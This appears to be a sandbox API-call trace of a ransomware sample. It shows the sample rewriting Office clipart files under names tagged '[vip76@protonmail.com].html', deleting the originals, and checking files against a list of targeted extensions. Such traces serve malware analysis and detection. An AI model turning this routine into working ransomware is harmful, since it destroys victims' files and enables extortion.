	[0198.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.878] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12204) returned 1
	[0198.878] CloseHandle (hObject=0x510) returned 1
	[0198.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220
	[0198.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.879] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.879] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.879] GetLastError () returned 0x0
	[0198.879] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2fac, lpOverlapped=0x0) returned 1
	[0198.881] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2fb0, lpOverlapped=0x0) returned 1
	[0198.882] ReadFile (in: hFile=0x510, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.882] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.882] SetEndOfFile (hFile=0x460) returned 1
	[0198.883] CloseHandle (hObject=0x460) returned 1
	[0198.883] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.883] SetEndOfFile (hFile=0x510) returned 1
	[0198.885] CloseHandle (hObject=0x510) returned 1
	[0198.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1
	[0199.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.122] lstrlenW (lpString=".doc") returned 4
	[0199.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.122] lstrlenW (lpString=".docx") returned 5
	[0199.122] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.122] lstrlenW (lpString=".pdf") returned 4
	[0199.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.122] lstrlenW (lpString=".xls") returned 4
	[0199.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.122] lstrlenW (lpString=".xlsx") returned 5
	[0199.122] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.122] lstrlenW (lpString=".ppt") returned 4
	[0199.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.122] lstrlenW (lpString=".zip") returned 4
	[0199.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.122] lstrlenW (lpString=".rar") returned 4
	[0199.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.122] lstrlenW (lpString=".bz2") returned 4
	[0199.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.122] lstrlenW (lpString=".7z") returned 3
	[0199.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.122] lstrlenW (lpString=".dbf") returned 4
	[0199.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.123] lstrlenW (lpString=".1cd") returned 4
	[0199.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.123] lstrlenW (lpString=".jpg") returned 4
	[0199.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.123] lstrlenW (lpString=".doc") returned 4
	[0199.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString=".docx") returned 5
	[0199.123] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0199.123] lstrlenW (lpString=".pdf") returned 4
	[0199.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString=".xls") returned 4
	[0199.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.123] lstrlenW (lpString=".xlsx") returned 5
	[0199.123] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0199.123] lstrlenW (lpString=".ppt") returned 4
	[0199.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.123] lstrlenW (lpString=".zip") returned 4
	[0199.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.123] lstrlenW (lpString=".rar") returned 4
	[0199.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString=".bz2") returned 4
	[0199.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.123] lstrlenW (lpString=".7z") returned 3
	[0199.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.124] lstrlenW (lpString=".dbf") returned 4
	[0199.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.124] lstrlenW (lpString=".1cd") returned 4
	[0199.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0199.124] lstrlenW (lpString=".jpg") returned 4
	[0199.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.124] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.124] lstrlenW (lpString="J0107728.WMF") returned 12
	[0199.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.470] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5492) returned 1
	[0199.470] CloseHandle (hObject=0x5e8) returned 1
	[0199.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220
	[0199.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.471] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.471] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0199.472] GetLastError () returned 0x0
	[0199.472] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1574, lpOverlapped=0x0) returned 1
	[0199.474] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1580, lpOverlapped=0x0) returned 1
	[0199.475] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.475] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.475] SetEndOfFile (hFile=0x460) returned 1
	[0199.475] CloseHandle (hObject=0x460) returned 1
	[0199.476] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.476] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.483] CloseHandle (hObject=0x5e8) returned 1
	[0199.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1
	[0199.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.484] lstrlenW (lpString=".doc") returned 4
	[0199.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.484] lstrlenW (lpString=".docx") returned 5
	[0199.484] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.484] lstrlenW (lpString=".pdf") returned 4
	[0199.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.484] lstrlenW (lpString=".xls") returned 4
	[0199.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.484] lstrlenW (lpString=".xlsx") returned 5
	[0199.484] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.484] lstrlenW (lpString=".ppt") returned 4
	[0199.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString=".zip") returned 4
	[0199.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.485] lstrlenW (lpString=".rar") returned 4
	[0199.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString=".bz2") returned 4
	[0199.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString=".7z") returned 3
	[0199.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString=".dbf") returned 4
	[0199.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString=".1cd") returned 4
	[0199.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString=".jpg") returned 4
	[0199.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.485] lstrlenW (lpString=".doc") returned 4
	[0199.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString=".docx") returned 5
	[0199.485] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.485] lstrlenW (lpString=".pdf") returned 4
	[0199.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.485] lstrlenW (lpString=".xls") returned 4
	[0199.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.486] lstrlenW (lpString=".xlsx") returned 5
	[0199.486] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.486] lstrlenW (lpString=".ppt") returned 4
	[0199.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.486] lstrlenW (lpString=".zip") returned 4
	[0199.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.486] lstrlenW (lpString=".rar") returned 4
	[0199.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.486] lstrlenW (lpString=".bz2") returned 4
	[0199.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.486] lstrlenW (lpString=".7z") returned 3
	[0199.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.486] lstrlenW (lpString=".dbf") returned 4
	[0199.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.486] lstrlenW (lpString=".1cd") returned 4
	[0199.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0199.486] lstrlenW (lpString=".jpg") returned 4
	[0199.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.486] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.486] lstrlenW (lpString="J0107748.WMF") returned 12
	[0199.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.488] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8224) returned 1
	[0199.488] CloseHandle (hObject=0x5e8) returned 1
	[0199.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220
	[0199.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.489] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.489] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0199.490] GetLastError () returned 0x0
	[0199.490] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2020, lpOverlapped=0x0) returned 1
	[0199.492] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2030, lpOverlapped=0x0) returned 1
	[0199.493] ReadFile (in: hFile=0x5e8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.493] WriteFile (in: hFile=0x460, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.493] SetEndOfFile (hFile=0x460) returned 1
	[0199.493] CloseHandle (hObject=0x460) returned 1
	[0199.493] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.493] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.496] CloseHandle (hObject=0x5e8) returned 1
	[0199.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1
	[0199.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.497] lstrlenW (lpString=".doc") returned 4
	[0199.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.497] lstrlenW (lpString=".docx") returned 5
	[0199.497] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.497] lstrlenW (lpString=".pdf") returned 4
	[0199.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.497] lstrlenW (lpString=".xls") returned 4
	[0199.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.498] lstrlenW (lpString=".xlsx") returned 5
	[0199.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.498] lstrlenW (lpString=".ppt") returned 4
	[0199.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString=".zip") returned 4
	[0199.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.498] lstrlenW (lpString=".rar") returned 4
	[0199.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString=".bz2") returned 4
	[0199.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString=".7z") returned 3
	[0199.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString=".dbf") returned 4
	[0199.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString=".1cd") returned 4
	[0199.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString=".jpg") returned 4
	[0199.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.498] lstrlenW (lpString=".doc") returned 4
	[0199.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.498] lstrlenW (lpString=".docx") returned 5
	[0199.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0199.498] lstrlenW (lpString=".pdf") returned 4
	[0199.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString=".xls") returned 4
	[0199.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.499] lstrlenW (lpString=".xlsx") returned 5
	[0199.499] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0199.499] lstrlenW (lpString=".ppt") returned 4
	[0199.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.499] lstrlenW (lpString=".zip") returned 4
	[0199.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.499] lstrlenW (lpString=".rar") returned 4
	[0199.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString=".bz2") returned 4
	[0199.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString=".7z") returned 3
	[0199.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.499] lstrlenW (lpString=".dbf") returned 4
	[0199.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.499] lstrlenW (lpString=".1cd") returned 4
	[0199.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0199.499] lstrlenW (lpString=".jpg") returned 4
	[0199.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.499] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.500] lstrlenW (lpString="J0107750.WMF") returned 12
